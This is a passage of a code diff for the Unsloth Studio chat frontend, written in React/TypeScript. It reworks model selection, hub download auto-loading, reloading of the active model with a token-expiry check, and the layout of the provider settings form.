+                "An earlier partial download used a different transport. Open the Models tab to resume or restart it.",
+            });
+          } else if (outcome === "busy") {
+            toast.info("Download already in progress", {
+              description:
+                "Another download for this model is still running. Reselect it once that finishes to load it.",
             });
           }
         } else {
@@ -1734,23 +2293,128 @@ export function ChatPage({
         }
         return;
       }
-      // Detach the prior staged pick (keeping its download) before rebinding, so
-      // a second pick downloads alongside the first instead of cancelling it.
-      detachStaged();
-      store.stageModel({
-        id: selection.id,
-        isLora: selection.isLora,
-        ggufVariant: selection.ggufVariant,
-        isDownloaded: selection.isDownloaded,
-        expectedBytes: selection.expectedBytes,
-        nativePathToken: selection.nativePathToken,
-        isGguf: selection.isGguf,
-        isHubRepo: wantManagerDownload || undefined,
-        autoLoad: store.loadOnSelection,
+      const wantManagerStage =
+        wantManagerDownload ||
+        (selection.source === "hub" &&
+          hasGgufSource(selection) &&
+          !selection.isDownloaded);
+      if (wantManagerStage) {
+        setPendingHubAutoLoad((current) =>
+          current &&
+          current.selection.id === selection.id &&
+          (current.selection.ggufVariant ?? null) ===
+            (selection.ggufVariant ?? null) &&
+          current.contextKey === chatContextKey &&
+          current.originCheckpoint === store.params.checkpoint &&
+          current.originGgufVariant === store.activeGgufVariant
+            ? current
+            : {
+                selection,
+                contextKey: chatContextKey,
+                originCheckpoint: store.params.checkpoint,
+                originGgufVariant: store.activeGgufVariant,
+              },
+        );
+        return;
+      }
+      setPendingHubAutoLoad(null);
+      const previousConfig = currentRuntimePerModelConfig({
+        includeMaxSeqLength: true,
+      });
+      const hasAppliedConfig = applyModelLoadConfigToRuntime(
+        selection.config ?? rememberedConfigFor(selection),
+      );
+      await selectModel({
+        ...selection,
+        ...(hasAppliedConfig ? { keepSpeculative: true } : {}),
+        previousConfig,
       });
     },
-    [detachStaged, selectModel, loadingModel],
+    [selectModel, loadingModel, rememberedConfigFor, chatContextKey],
   );
+  useRepoDownload({
+    kind: DOWNLOAD_KIND.MODEL,
+    repoId: pendingHubAutoLoad?.selection.id ?? "__hub_autoload_idle__",
+    activeVariant: pendingHubAutoLoad?.selection.ggufVariant ?? null,
+    onComplete: (variant) => {
+      const pending = pendingHubAutoLoad;
+      if (
+        !pending ||
+        (pending.selection.ggufVariant ?? null) !== (variant ?? null)
+      ) {
+        return;
+      }
+      setPendingHubAutoLoad(null);
+      const store = useChatRuntimeStore.getState();
+      if (
+        !active ||
+        pending.contextKey !== chatContextKey ||
+        normalizeModelRef(pending.originCheckpoint) !==
+          normalizeModelRef(store.params.checkpoint) ||
+        pending.originGgufVariant !== store.activeGgufVariant
+      ) {
+        return;
+      }
+      void stageOrLoad({ ...pending.selection, isDownloaded: true });
+    },
+    onError: (variant) => {
+      if (
+        pendingHubAutoLoad &&
+        (pendingHubAutoLoad.selection.ggufVariant ?? null) === (variant ?? null)
+      ) {
+        setPendingHubAutoLoad(null);
+      }
+    },
+    onCancelled: (variant) => {
+      if (
+        pendingHubAutoLoad &&
+        (pendingHubAutoLoad.selection.ggufVariant ?? null) === (variant ?? null)
+      ) {
+        setPendingHubAutoLoad(null);
+      }
+    },
+  });
+  useEffect(() => {
+    const pending = pendingHubAutoLoad;
+    if (!pending) return;
+    let active = true;
+    void (async () => {
+      const outcome = await downloadManager.requestStart({
+        kind: DOWNLOAD_KIND.MODEL,
+        repoId: pending.selection.id,
+        variant: pending.selection.ggufVariant ?? null,
+        expectedBytes: pending.selection.expectedBytes ?? 0,
+      });
+      if (!active) return;
+      if (outcome === "started") {
+        toast.info("Downloading model", {
+          description: "It'll load automatically once the download finishes.",
+        });
+        return;
+      }
+      if (outcome === "conflict") {
+        // Keep pendingHubAutoLoad bound so this surface's cleanup does not wipe
+        // the conflict just recorded by requestStart (which the toast points the
+        // user to); resolving it from the Hub completes the download and this
+        // surface's onComplete auto-loads, mirroring the "started" branch.
+        toast.info("Resume this download from Models", {
+          description:
+            "An earlier partial download used a different transport. Open the Models tab to resume or restart it.",
+        });
+        return;
+      }
+      if (outcome === "busy") {
+        toast.info("Download already in progress", {
+          description:
+            "Another download for this model is still running. Reselect it once that finishes to load it.",
+        });
+      }
+      setPendingHubAutoLoad((current) => (current === pending ? null : current));
+    })();
+    return () => {
+      active = false;
+    };
+  }, [pendingHubAutoLoad]);
   const loadNativeModelIntent = useCallback(
     async (intent: NativeIntent, loadingDescription: string) => {
       const label =
@@ -1758,6 +2422,7 @@ export function ChatPage({
       await stageOrLoad({
         id: label,
         nativePathToken: intent.path.token,
+        nativePathExpiresAtMs: intent.path.expiresAtMs ?? null,
         isDownloaded: true,
         loadingDescription,
         forceReload: true,
@@ -1808,28 +2473,20 @@ export function ChatPage({
   const handleCheckpointChange = useCallback(
     (
       value: string,
-      meta?: {
-        source?: string;
-        isLora: boolean;
-        ggufVariant?: string;
-        isDownloaded?: boolean;
-        expectedBytes?: number;
-        isGguf?: boolean;
-      },
+      meta?: ModelSelectorChangeMeta,
     ) => {
       const store = useChatRuntimeStore.getState();
       const currentCheckpoint = store.params.checkpoint;
       const currentVariant = store.activeGgufVariant;
-      if (
-        !value ||
-        (value === currentCheckpoint &&
-          (meta?.ggufVariant ?? null) === (currentVariant ?? null))
-      )
+      if (!value) return;
+      setPendingHubAutoLoad(null);
+      const isSameLoadedModel =
+        value === currentCheckpoint &&
+        (meta?.ggufVariant ?? null) === (currentVariant ?? null);
+      if (isSameLoadedModel && !meta?.forceReload) {
         return;
+      }
       if (meta?.source === "external" || isExternalModelId(value)) {
-        // Switching to an external model abandons any staged local pick: cancel
-        // its download too (setCheckpoint below only clears the pending + knobs).
-        abandonStaged();
         const selectedExternal = parseExternalModelId(value);
         const selectedProvider = selectedExternal
           ? externalProvidersForChat.find(
@@ -1930,6 +2587,7 @@ export function ChatPage({
           ggufMaxContextLength: null,
           ggufNativeContextLength: null,
           activeNativePathToken: null,
+          activeNativePathExpiresAtMs: null,
           // Clear previous-model counters, else the relaxed external-provider
           // render gate shows stale stats until the next completion.
           contextUsage: null,
@@ -2001,19 +2659,18 @@ export function ChatPage({
           source: meta?.source,
           isLora: meta?.isLora,
           ggufVariant: meta?.ggufVariant,
-          isDownloaded: meta?.isDownloaded,
+          isDownloaded: meta?.isDownloaded || isSameLoadedModel,
           expectedBytes: meta?.expectedBytes,
           isGguf: meta?.isGguf,
+          config: meta?.config,
+          nativePathToken: meta?.nativePathToken,
+          nativePathExpiresAtMs: meta?.nativePathExpiresAtMs,
+          forceReload: isSameLoadedModel || undefined,
         };
-        // "Load on selection" off: stage the model and open settings so its
-        // load knobs (tensor parallel, context length…) can be set, then it
-        // loads once via the sheet's Load button. The currently loaded model
-        // stays put until the user commits.
         await stageOrLoad(selection);
       })();
     },
     [
-      abandonStaged,
       activeThreadId,
       externalProvidersForChat,
       modelsFromStore,
@@ -2021,6 +2678,45 @@ export function ChatPage({
       view,
     ],
   );
+  const handleReloadActiveModel = useCallback(
+    (config: PerModelConfig) => {
+      const checkpoint = inferenceParams.checkpoint;
+      if (!checkpoint) return;
+      const runtime = useChatRuntimeStore.getState();
+      const nativeToken = runtime.activeNativePathToken;
+      const nativeExpiry = runtime.activeNativePathExpiresAtMs;
+      // A file-picked GGUF is reachable only via its native path token, which
+      // the desktop host prunes after a TTL. Reusing an expired token makes the
+      // reload fail with an opaque error, so prompt the user to re-select the
+      // file instead.
+      if (nativeToken && nativeExpiry != null && Date.now() >= nativeExpiry) {
+        toast.error("This local model file's access has expired.", {
+          description: "Re-select the model file to reload it.",
+        });
+        return;
+      }
+      handleCheckpointChange(checkpoint, {
+        source: "local",
+        isLora: activeModelIsLora,
+        ggufVariant: activeGgufVariant ?? undefined,
+        // Without the native token the reload validates the display label as a
+        // repo and fails.
+        nativePathToken: nativeToken ?? undefined,
+        nativePathExpiresAtMs: nativeExpiry,
+        isGguf: activeModelIsGguf,
+        isDownloaded: true,
+        config,
+        forceReload: true,
+      });
+    },
+    [
+      inferenceParams.checkpoint,
+      activeGgufVariant,
+      activeModelIsLora,
+      activeModelIsGguf,
+      handleCheckpointChange,
+    ],
+  );
   const handleEject = useCallback(() => {
     void (async () => {
       if (await ejectModel()) {
@@ -2246,12 +2942,29 @@ export function ChatPage({
     return [...fromLoras, ...localModels];
   }, [lorasFromStore, localModels]);
 
-  useEffect(() => {
-    if (getTrainingCompareHandoff()) return;
-    void refresh();
+  const inventoryRefreshStartedRef = useRef(false);
+  const refreshDeferredModelInventories = useCallback(() => {
+    inventoryRefreshStartedRef.current = true;
+    void refresh({ includeLoras: true });
     refreshLocalModels();
   }, [refresh, refreshLocalModels]);
 
+  useEffect(() => {
+    if (getTrainingCompareHandoff()) return;
+    void refresh({ includeLoras: false });
+    const timeoutId = window.setTimeout(() => {
+      if (!inventoryRefreshStartedRef.current) {
+        refreshDeferredModelInventories();
+      }
+    }, 1200);
+    return () => window.clearTimeout(timeoutId);
+  }, [refresh, refreshDeferredModelInventories]);
+
+  useEffect(() => {
+    if (!active || !modelSelectorOpen) return;
+    refreshDeferredModelInventories();
+  }, [active, modelSelectorOpen, refreshDeferredModelInventories]);
+
   useEffect(() => {
     // ChatPage no longer remounts on navigation, so re-check the handoff whenever
     // we return to /chat (e.g. from the training progress "compare in chat" action).
@@ -2272,12 +2985,27 @@ export function ChatPage({
 
         const state = useChatRuntimeStore.getState();
         const targetLora = pickBestLoraForBase(state.loras, handoff.baseModel);
+        const selectWithConfig = async (
+          selection: Pick<SelectedModelInput, "id" | "isLora">,
+        ) => {
+          const previousConfig = currentRuntimePerModelConfig({
+            includeMaxSeqLength: true,
+          });
+          const hasAppliedConfig = applyModelLoadConfigToRuntime(
+            rememberedConfigFor(selection),
+          );
+          await selectModelRef.current({
+            ...selection,
+            ...(hasAppliedConfig ? { keepSpeculative: true } : {}),
+            previousConfig,
+          });
+        };
         if (targetLora) {
           console.info("[chat-handoff] loading lora", {
             id: targetLora.id,
             baseModel: targetLora.baseModel,
           });
-          await selectModelRef.current({ id: targetLora.id, isLora: true });
+          await selectWithConfig({ id: targetLora.id, isLora: true });
           if (canceled) return;
           useChatRuntimeStore.getState().setActiveThreadId(null);
           useChatRuntimeStore.getState().setContextUsage(null);
@@ -2294,10 +3022,7 @@ export function ChatPage({
           console.info("[chat-handoff] no lora match, loading base", {
             id: handoff.baseModel,
           });
-          await selectModelRef.current({
-            id: handoff.baseModel,
-            isLora: false,
-          });
+          await selectWithConfig({ id: handoff.baseModel, isLora: false });
           if (canceled) return;
         } else {
           console.warn("[chat-handoff] no lora/base match found", {
@@ -2317,7 +3042,7 @@ export function ChatPage({
     return () => {
       canceled = true;
     };
-  }, [active, navigate]);
+  }, [active, navigate, rememberedConfigFor]);
 
   const tourSteps = useMemo(
     () =>
@@ -2383,7 +3108,7 @@ export function ChatPage({
         {view.mode !== "compare" && (
           <div
             aria-hidden
-            className="pointer-events-none absolute left-0 right-[10px] top-[calc(var(--studio-content-top-inset,0px)+var(--studio-chat-header-height,48px))] z-20 h-6 bg-gradient-to-b from-background to-transparent"
+            className="chat-header-fade pointer-events-none absolute left-0 right-[10px] top-[calc(var(--studio-content-top-inset,0px)+var(--studio-chat-header-height,48px))] z-20 h-6 bg-gradient-to-b from-background to-transparent"
           />
         )}
         <div
@@ -2406,6 +3131,8 @@ export function ChatPage({
                 externalModels={externalModels}
                 value={inferenceParams.checkpoint}
                 activeGgufVariant={activeGgufVariant}
+                activeModelConfig={activeModelConfig}
+                activeGgufContextLength={ggufContextLength}
                 onValueChange={handleCheckpointChange}
                 onEject={handleEject}
                 onFoldersChange={refreshLocalModels}
@@ -2422,7 +3149,7 @@ export function ChatPage({
               />
             )}
             {incognito && view.mode === "single" && (
-              <div className="flex h-[var(--studio-chat-control-height,34px)] shrink-0 items-center gap-1.5 self-center rounded-full bg-primary/10 px-2.5 font-medium text-[13px] text-primary">
+              <div className="flex h-[var(--studio-chat-control-height,34px)] shrink-0 items-center gap-1.5 self-center rounded-full bg-primary/10 px-2.5 font-medium text-ui-13 text-primary">
                 <HugeiconsIcon
                   icon={BubbleChatTemporaryIcon}
                   strokeWidth={2}
@@ -2434,7 +3161,7 @@ export function ChatPage({
             {view.mode !== "compare" && currentProjectId && (
               <nav
                 aria-label="Project location"
-                className="flex h-[var(--studio-chat-control-height,34px)] min-w-0 items-center gap-1.5 self-center text-[13.5px] tracking-nav text-muted-foreground"
+                className="flex h-[var(--studio-chat-control-height,34px)] min-w-0 items-center gap-1.5 self-center text-ui-13p5 tracking-nav text-muted-foreground"
               >
                 <ProjectSwitcher
                   currentProject={currentProject}
@@ -2459,7 +3186,12 @@ export function ChatPage({
               <NativeModelChip
                 intent={pendingNativeModelIntent}
                 nativeReadsDisabled={!nativePathLeasesSupported}
-                onLoad={(selection) => stageOrLoad(selection)}
+                onLoad={() =>
+                  loadNativeModelIntent(
+                    pendingNativeModelIntent,
+                    "Loading selected local GGUF model.",
+                  )
+                }
               />
             ) : null}
             {loadingModel && loadToastDismissed ? (
@@ -2513,7 +3245,7 @@ export function ChatPage({
                     type="button"
                     onClick={toggleIncognito}
                     className={cn(
-                      "flex size-[var(--studio-chat-control-height,34px)] cursor-pointer items-center justify-center rounded-[12px] transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+                      "flex size-[var(--studio-chat-control-height,34px)] cursor-pointer items-center justify-center rounded-[12px] transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
                       incognito
                         ? "bg-primary/10 text-primary hover:bg-primary/15"
                         : "text-nav-fg hover:bg-nav-surface-hover hover:text-black dark:hover:text-white",
@@ -2543,7 +3275,7 @@ export function ChatPage({
                   <button
                     type="button"
                     onClick={() => setSettingsOpen(true)}
-                    className="flex size-[var(--studio-chat-control-height,34px)] translate-x-[2px] cursor-pointer items-center justify-center rounded-[12px] text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                    className="flex size-[var(--studio-chat-control-height,34px)] translate-x-[2px] cursor-pointer items-center justify-center rounded-[12px] text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
                     aria-label="Open run settings"
                   >
                     <HugeiconsIcon
@@ -2616,13 +3348,22 @@ export function ChatPage({
         open={active && settingsOpen}
         onOpenChange={(open) => {
           setSettingsOpen(open);
-          // Closing the sheet abandons a staged (not-yet-loaded) pick: cancel its
-          // download and revert the staged knobs so nothing lingers as a dirty
-          // edit (or a background download) on the loaded model.
-          if (!open) abandonStaged();
         }}
         params={inferenceParams}
         onParamsChange={setInferenceParams}
+        modelConfig={
+          view.mode !== "compare" && activeModelConfig && !modelLoading ? (
+            <SidebarModelConfig
+              modelId={inferenceParams.checkpoint}
+              ggufVariant={activeGgufVariant ?? null}
+              isGguf={activeModelIsGguf}
+              nativeContextLength={ggufNativeContextLength}
+              loadedContextLength={ggufContextLength}
+              loadedConfig={activeModelConfig}
+              onReload={handleReloadActiveModel}
+            />
+          ) : null
+        }
         isExternalModel={isExternalModel}
         providerCapabilities={activeProviderCapabilities}
         activeExternalProvider={activeExternalProvider}
@@ -2634,62 +3375,6 @@ export function ChatPage({
           );
         }}
         externalProviderType={activeExternalProviderType}
-        loadingModel={loadingModel}
-        onReloadModel={() => {
-          const state = useChatRuntimeStore.getState();
-          if (state.params.checkpoint) {
-            selectModel({
-              id: state.params.checkpoint,
-              ggufVariant: state.activeGgufVariant ?? undefined,
-              forceReload: true,
-              isDownloaded: true,
-              loadingDescription: "Reloading with updated chat template.",
-            });
-          }
-        }}
-        onLoadPendingModel={() => {
-          const pending = useChatRuntimeStore.getState().pendingSelection;
-          if (!pending) return;
-          const keyAtLoad = chatContextKey;
-          // forceReload: the staged model isn't loaded yet, so bypass the
-          // same-checkpoint dedupe. keepSpeculative: honor the speculative mode
-          // set on the sidebar.
-          void selectModel({
-            ...pending,
-            forceReload: true,
-            keepSpeculative: true,
-            throwOnError: true,
-          }).catch(() => {
-            // Recoverable failure (expired token, gated repo, OOM…): the pick is
-            // cleared only on success, so it normally stays staged with edited
-            // knobs intact — nothing to restore.
-            const store = useChatRuntimeStore.getState();
-            // Still staged (this pick, or a newer one queued meanwhile): leave it.
-            if (store.pendingSelection) return;
-            // Cleared mid-load (sheet closed / switched chats). Re-stage only if
-            // the staged-load is still wanted: same chat context, sheet still
-            // open, page still mounted.
-            const stillWanted =
-              mountedRef.current &&
-              store.settingsPanelOpen &&
-              chatContextKeyRef.current === keyAtLoad;
-            if (stillWanted) {
-              store.setPendingSelection(pending);
-            } else {
-              // Abandoned (closed the sheet / switched chats / left chat): drop
-              // the orphaned staged knob edits so they don't linger as dirty
-              // settings over the loaded model.
-              store.resetModelSettingsToLoaded();
-            }
-          });
-        }}
-        stagedDownloadFraction={stagedDownload.progress?.fraction ?? null}
-        onCancelStagedDownload={() =>
-          stagedDownload.cancelDownload(
-            useChatRuntimeStore.getState().pendingSelection?.ggufVariant ??
-              null,
-          )
-        }
       />
     </div>
     </ChatActiveContext.Provider>
diff --git a/studio/frontend/src/features/chat/chat-providers-dialog.tsx b/studio/frontend/src/features/chat/chat-providers-dialog.tsx
index da19cd749b..bfe7c71918 100644
--- a/studio/frontend/src/features/chat/chat-providers-dialog.tsx
+++ b/studio/frontend/src/features/chat/chat-providers-dialog.tsx
@@ -244,8 +244,8 @@ export function ChatProvidersSettings({
     (s) => s.setConnectionsEnabled,
   );
   const isCustomProvider = isCustomProviderType(providerType);
-  // Local presets (Ollama, llama.cpp) never use API keys — hide the field.
-  // vLLM may optionally use a bearer token on secured deployments.
+  // llama.cpp hides the key field. Ollama and vLLM show an optional key:
+  // Ollama cloud and secured vLLM need one; local servers leave it empty.
   const showApiKeyField = !customPresetSkipsApiKeyField(providerType);
   const showReasoningToggle = supportsProviderReasoningToggle(providerType);
 
@@ -997,7 +997,7 @@ export function ChatProvidersSettings({
 
   if (page === "form") {
     return (
-      <div className="-mt-3 flex min-h-0 flex-col gap-2">
+      <div className="@container -mt-3 flex min-h-0 flex-col gap-2">
         <header className="flex items-center gap-2 pr-8">
           <Button
             type="button"
@@ -1024,7 +1024,7 @@ export function ChatProvidersSettings({
         <div className="flex max-w-[760px] flex-col gap-3">
           <section className="overflow-hidden rounded-[8px] border border-border/70 bg-muted/[0.12]">
             <div className="divide-y divide-border/60">
-              <div className="grid grid-cols-[minmax(150px,0.8fr)_minmax(260px,1.2fr)] items-center gap-4 px-4 py-3 max-sm:grid-cols-1">
+              <div className="grid grid-cols-[minmax(140px,0.8fr)_minmax(0,1.2fr)] items-center gap-4 px-4 py-3 @max-[520px]:grid-cols-1">
                 <div className="flex min-w-0 flex-col gap-0.5">
                   <Label
                     htmlFor="provider-preset"
@@ -1113,7 +1113,7 @@ export function ChatProvidersSettings({
               </div>
 
               {showApiKeyField ? (
-                <div className="grid grid-cols-[minmax(150px,0.8fr)_minmax(260px,1.2fr)] items-center gap-4 px-4 py-3 max-sm:grid-cols-1">
+                <div className="grid grid-cols-[minmax(140px,0.8fr)_minmax(0,1.2fr)] items-center gap-4 px-4 py-3 @max-[520px]:grid-cols-1">
                   <div className="flex min-w-0 flex-col gap-0.5">
                     <Label
                       htmlFor="provider-api-key"
@@ -1137,7 +1137,7 @@ export function ChatProvidersSettings({
                     <button
                       type="button"
                       onClick={() => setShowApiKey((visible) => !visible)}
-                      className="absolute top-1/2 right-1.5 flex size-5 -translate-y-1/2 items-center justify-center rounded text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                      className="absolute top-1/2 right-1.5 flex size-5 -translate-y-1/2 items-center justify-center rounded text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
                       aria-label={showApiKey ? "Hide API key" : "Show API key"}
                       aria-pressed={showApiKey}
                     >
@@ -1152,7 +1152,7 @@ export function ChatProvidersSettings({
               ) : null}
 
               {isCustomProvider ? (
-                <div className="grid grid-cols-[minmax(150px,0.8fr)_minmax(260px,1.2fr)] items-center gap-4 px-4 py-3 max-sm:grid-cols-1">
+                <div className="grid grid-cols-[minmax(140px,0.8fr)_minmax(0,1.2fr)] items-center gap-4 px-4 py-3 @max-[520px]:grid-cols-1">
                   <Label
                     htmlFor="provider-custom-name"
                     className="text-sm font-medium"
@@ -1173,7 +1173,7 @@ export function ChatProvidersSettings({
               ) : null}
 
               {isCustomProvider ? (
-                <div className="grid grid-cols-[minmax(150px,0.8fr)_minmax(260px,1.2fr)] items-center gap-4 px-4 py-3 max-sm:grid-cols-1">
+                <div className="grid grid-cols-[minmax(140px,0.8fr)_minmax(0,1.2fr)] items-center gap-4 px-4 py-3 @max-[520px]:grid-cols-1">
                   <div className="flex min-w-0 flex-col gap-0.5">
                     <Label
                       htmlFor="provider-base-url"
@@ -1197,7 +1197,7 @@ export function ChatProvidersSettings({
               ) : null}
 
               {showReasoningToggle ? (
-                <div className="grid grid-cols-[minmax(150px,0.8fr)_minmax(260px,1.2fr)] items-center gap-4 px-4 py-3 max-sm:grid-cols-1">
+                <div className="grid grid-cols-[minmax(140px,0.8fr)_minmax(0,1.2fr)] items-center gap-4 px-4 py-3 @max-[520px]:grid-cols-1">
                   <Label
                     htmlFor="provider-is-reasoning"
                     className="text-sm font-medium"
@@ -1303,7 +1303,7 @@ export function ChatProvidersSettings({
                     </p>
                     {availableModels.length > 0 ? (
                       <div className="space-y-3 rounded-[8px] border border-border/70 bg-background/50 p-3">
-                        <div className="grid grid-cols-[112px_minmax(220px,330px)_auto] items-center gap-3 max-sm:grid-cols-1">
+                        <div className="grid grid-cols-[minmax(90px,auto)_minmax(0,1fr)_auto] items-center gap-3 @max-[520px]:grid-cols-1">
                           <span className="whitespace-nowrap text-xs font-medium text-muted-foreground">
                             {availableModelsLabel}
                           </span>
@@ -1395,7 +1395,7 @@ export function ChatProvidersSettings({
                   <div className="space-y-3 px-4 py-4">
                     {availableModels.length === 0 ? null : (
                       <>
-                        <div className="grid grid-cols-[112px_minmax(220px,330px)_auto] items-center gap-3 max-sm:grid-cols-1">
+                        <div className="grid grid-cols-[minmax(90px,auto)_minmax(0,1fr)_auto] items-center gap-3 @max-[520px]:grid-cols-1">
                           <span className="whitespace-nowrap text-xs font-medium text-muted-foreground">
                             {availableModelsLabel}
                           </span>
@@ -1556,7 +1556,7 @@ export function ChatProvidersSettings({
         </div>
         <p
           id="chat-connections-description"
-          className="max-w-md text-[11px] leading-snug text-muted-foreground/65 sm:text-right"
+          className="max-w-md text-ui-11 leading-snug text-muted-foreground/65 sm:text-right"
         >
           When off, all connections are disabled.
         </p>
@@ -1567,9 +1567,9 @@ export function ChatProvidersSettings({
           <button
             type="button"
             onClick={openAddProvider}
-            className="group/add flex w-full items-center justify-between gap-3 border-border/60 border-b px-3 py-2.5 text-left text-sm font-medium text-muted-foreground transition-colors hover:bg-muted/35 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-emerald-500/25 focus-visible:ring-inset"
+            className="group/add flex w-full items-center justify-between gap-3 border-border/60 border-b px-3 py-2.5 text-left text-sm font-medium text-muted-foreground transition-colors hover:bg-muted/35 focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring focus-visible:ring-inset"
           >
-            <span className="flex min-w-0 items-center gap-2 rounded-full border border-border bg-background/50 px-3 py-1.5 transition-colors group-hover/add:border-emerald-500/25 group-hover/add:text-emerald-700 dark:group-hover/add:text-emerald-300">
+            <span className="flex min-w-0 items-center gap-2 rounded-full border border-border bg-background/50 px-3 py-1.5 transition-colors group-hover/add:border-control-accent/25 group-hover/add:text-control-accent">
               <HugeiconsIcon icon={PlusSignIcon} className="size-4 shrink-0" />
               <span>Add connection</span>
             </span>
@@ -1616,7 +1616,7 @@ export function ChatProvidersSettings({
                           <span className="truncate text-sm font-medium text-foreground">
                             {provider.name}
                           </span>
-                          <span className="shrink-0 rounded-[6px] border border-emerald-500/15 bg-emerald-500/8 px-1.5 py-0.5 text-[10px] leading-none text-emerald-700 dark:text-emerald-300">
+                          <span className="shrink-0 rounded-[6px] border border-control-accent/15 bg-control-accent/8 px-1.5 py-0.5 text-ui-10 leading-none text-control-accent">
                             {provider.models.length}{" "}
                             {provider.models.length === 1 ? "model" : "models"}
                           </span>
@@ -1631,7 +1631,7 @@ export function ChatProvidersSettings({
                           ) : null}
                         </div>
                         <div
-                          className="mt-1 truncate text-[11px] leading-4 text-muted-foreground/80"
+                          className="mt-1 truncate text-ui-11 leading-4 text-muted-foreground/80"
                           title={provider.models.join(", ")}
                         >
                           {modelSummary}
diff --git a/studio/frontend/src/features/chat/chat-settings-sheet.tsx b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
index 74578b9438..672ab2b2d3 100644
--- a/studio/frontend/src/features/chat/chat-settings-sheet.tsx
+++ b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
@@ -1,29 +1,7 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import {
-  Alert,
-  AlertDescription,
-  AlertTitle,
-} from "@/components/ui/alert";
-import {
-  AlertDialog,
-  AlertDialogAction,
-  AlertDialogCancel,
-  AlertDialogContent,
-  AlertDialogDescription,
-  AlertDialogFooter,
-  AlertDialogHeader,
-  AlertDialogTitle,
-} from "@/components/ui/alert-dialog";
 import { Button } from "@/components/ui/button";
-import { Checkbox } from "@/components/ui/checkbox";
-import {
-  clearRememberedLoadSettings,
-  loadRememberedLoadSettings,
-  rememberedLoadSettingsKey,
-  saveRememberedLoadSettings,
-} from "@/components/assistant-ui/model-selector/remembered-load-settings";
 import {
   Dialog,
   DialogContent,
@@ -39,6 +17,7 @@ import {
   DropdownMenuSeparator,
   DropdownMenuTrigger,
 } from "@/components/ui/dropdown-menu";
+import { InfoHint } from "@/components/ui/info-hint";
 import {
   InputGroup,
   InputGroupAddon,
@@ -59,33 +38,31 @@ import {
   SheetTitle,
 } from "@/components/ui/sheet";
 import { Slider } from "@/components/ui/slider";
-import { Spinner } from "@/components/ui/spinner";
 import { Switch } from "@/components/ui/switch";
 import { Textarea } from "@/components/ui/textarea";
-import { InfoHint } from "@/components/ui/info-hint";
 import { Tooltip, TooltipContent } from "@/components/ui/tooltip";
-import { useIsMobile } from "@/hooks/use-mobile";
+import { NumericValueInput, snapToStep } from "@/features/model-picker";
+import { RetrievalSettingsSection } from "@/features/rag";
 import { useLlamaUpdateCheck } from "@/hooks/use-llama-update-check";
-import { cn } from "@/lib/utils";
-import {
-  ArrowTurnBackwardIcon,
-  Edit03Icon,
-  LayoutAlignRightIcon,
-} from "@hugeicons/core-free-icons";
+import { useIsMobile } from "@/hooks/use-mobile";
 import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
+import { toast } from "@/lib/toast";
+import { cn } from "@/lib/utils";
+import { Edit03Icon, LayoutAlignRightIcon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { Braces, ChevronDown, ExternalLink } from "lucide-react";
 import { Tooltip as TooltipPrimitive } from "radix-ui";
 import { Fragment, type ReactNode } from "react";
 import { useCallback, useEffect, useMemo, useRef, useState } from "react";
-import { toast } from "@/lib/toast";
 import { OpenAICodeExecSection } from "./components/openai-code-exec-section";
+import { PermissionModeDropdown } from "./permission-mode-select";
+import { resyncInferenceStatusAfterServerModelChange } from "./hooks/use-chat-model-runtime";
 import {
   type ExternalProviderConfig,
   getExternalProviderApiKey,
   parseExternalModelId,
-  supportsProviderPromptCaching,
   supportsProviderPromptCacheTtl,
+  supportsProviderPromptCaching,
 } from "./external-providers";
 import {
   BUILTIN_PRESETS,
@@ -105,12 +82,7 @@ import {
   providerSupportsBuiltinCodeExecution,
   providerSupportsFastMode,
 } from "./provider-capabilities";
-import {
-  isPendingGguf,
-  pendingSelectionMatches,
-  useChatRuntimeStore,
-} from "./stores/chat-runtime-store";
-import { RetrievalSettingsSection } from "@/features/rag/components/retrieval-settings-section";
+import { useChatRuntimeStore } from "./stores/chat-runtime-store";
 import type { InferenceParams } from "./types/runtime";
 
 export { defaultInferenceParams, type Preset } from "./presets/preset-policy";
@@ -133,7 +105,7 @@ function getPromptVariablesError(raw: string): string | null {
       return null;
     }
   } catch {
-    return "Use valid JSON, for example { \"env\": \"staging\" }.";
+    return 'Use valid JSON, for example { "env": "staging" }.';
   }
   return "Variables must be a JSON object.";
 }
@@ -142,112 +114,7 @@ function hasPromptVariableSyntax(prompt: string): boolean {
   return PROMPT_VARIABLE_PATTERN.test(prompt);
 }
 
-/**
- * Editable numeric value display, shared by every slider value and the Context
- * Length input. An <input> that looks like text (shows `displayValue ?? value`,
- * so "Off"/"Max" labels render) until focus, when it swaps to the raw number,
- * selects it, and accepts free text. Commits on blur/Enter, reverts on Escape.
- * Clamping happens on commit so typing intermediate values isn't fought.
- */
-function snapToStep(
-  value: number,
-  step: number,
-  min?: number,
-  max?: number,
-): number {
-  const lo = min ?? Number.NEGATIVE_INFINITY;
-  const hi = max ?? Number.POSITIVE_INFINITY;
-  const clamped = Math.min(Math.max(value, lo), hi);
-  const stepStr = String(step);
-  const decimals = stepStr.includes(".") ? stepStr.split(".")[1].length : 0;
-  const base = Number.isFinite(lo) ? lo : 0;
-  const snapped = base + Math.round((clamped - base) / step) * step;
-  const reclamped = Math.min(Math.max(snapped, lo), hi);
-  return Number(reclamped.toFixed(decimals));
-}
-
-function NumericValueInput({
-  value,
-  min,
-  max,
-  step,
-  onChange,
-  displayValue,
-  className,
-  ariaLabel,
-  size: sizeAttr,
-  disabled = false,
-}: {
-  value: number;
-  min?: number;
-  max?: number;
-  step: number;
-  onChange: (v: number) => void;
-  displayValue?: string;
-  className?: string;
